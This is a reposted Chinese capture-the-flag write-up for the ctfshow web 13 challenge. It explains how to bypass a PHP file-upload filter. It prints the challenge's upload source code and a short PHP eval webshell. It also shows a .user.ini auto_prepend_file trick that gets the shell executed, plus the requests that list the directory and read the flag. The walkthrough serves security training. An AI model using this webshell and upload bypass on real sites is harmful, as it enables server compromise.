zoukankan      html  css  js  c++  java
  • ctfshow-web 13

    web 13

    打开环境,我们来看一下,这是一道典型的文件上传的题。那我们就来做一下。

    首先那肯定是要上传一句话木马的。那我们先试着上传一句话木马。结果提示出错了。

    这是怎么回事呢。那我们找一下源码吧。输入/upload.php.bak便可将源码下载下来。

     1 <?php 
     2     header("content-type:text/html;charset=utf-8");
     3     $filename = $_FILES['file']['name'];//获取文件名
     4     $temp_name = $_FILES['file']['tmp_name'];
     5     $size = $_FILES['file']['size'];//获取文件大小
     6     $error = $_FILES['file']['error'];
     7     $arr = pathinfo($filename);
     8     $ext_suffix = $arr['extension'];//获取文件的扩展名
     9     if ($size > 24){
    10         die("error file zise");
    11     }
    12     if (strlen($filename)>9){
    13         die("error file name");
    14     }
    15     if(strlen($ext_suffix)>3){
    16         die("error suffix");
    17     }
    18     if(preg_match("/php/i",$ext_suffix)){
    19         die("error suffix");
    20     }
    21     if(preg_match("/php/i"),$filename)){
    22         die("error file name");
    23     }
    24     if (move_uploaded_file($temp_name, './'.$filename)){
    25         echo "文件上传成功!";
    26     }else{
    27         echo "文件上传失败!";
    28     }
    29 
    30  ?>

    这家伙不仅过滤了php文件,而且还对上传文件进行了限制。

    就是你上传的文件,内容大小得小于等于24,扩展名不长度得小于等于3,文件名得小于等于9,扩展名和文件名里都不能出现php。我的天。

    这怎么解决。首先我们的内容肯定是一句话木马。这已经超出了长度。这样的话就把它改成 <?php eval($_GET['a']); ,然后文件名为a.txt.这样的话就符合条件了吧。当然只上传这个是达不到我们的目的的。所以我们还需要上传一个文件。 .user.ini  它是PHP 支持基于每个目录的 INI 文件配置,而且如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

    然后我们再此文件里写入 auto_prepend_file =a.txt 

    auto_prepend_file是什么是意思呢。它就是设置页眉和脚注,可以保证它们在每个页面的前后被载入。使用这些指令包含的文件可以像使用include()语句包含的文件一样

    有了这条件命令后。我们就可以执行a.txt的内容了。

    然后我们先上传文件a.txt

    然后再上传.urser.ini文件

    上传成功之后 我们先访问phpinfo()进行测试。

     看来上传成功了。

    那好我们来访问一下目录。 ?a=print_r(scandir(".")); 

     发现此文件,读取一下 ?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); 

     拿到flag

    参考文章:

      auto_prepend_file与auto_append_file

      web 13

    感谢两位师傅!!!

  • 相关阅读:
    转:asp.net mvc下的多语言方案 包含Html,Javascript和图片
    转:在ASP.NET MVC中通过URL路由实现对多语言的支持
    转:C# lock用法
    转:SQL 关于apply的两种形式cross apply 和 outer apply
    在ASP.NET MVC 中获取当前URL、controller、action
    转:Newtonsoft.Json高级用法
    转:jQuery插件开发全解析
    转:ASP.NET MVC 多语言实现技巧 最简、最易维护和最快速开发
    转:前端js、jQuery实现日期格式化、字符串格式化
    转:.Net内存泄露原因及解决办法
  • 原文地址:https://www.cnblogs.com/awsole/p/14388357.html
Copyright © 2011-2022 走看看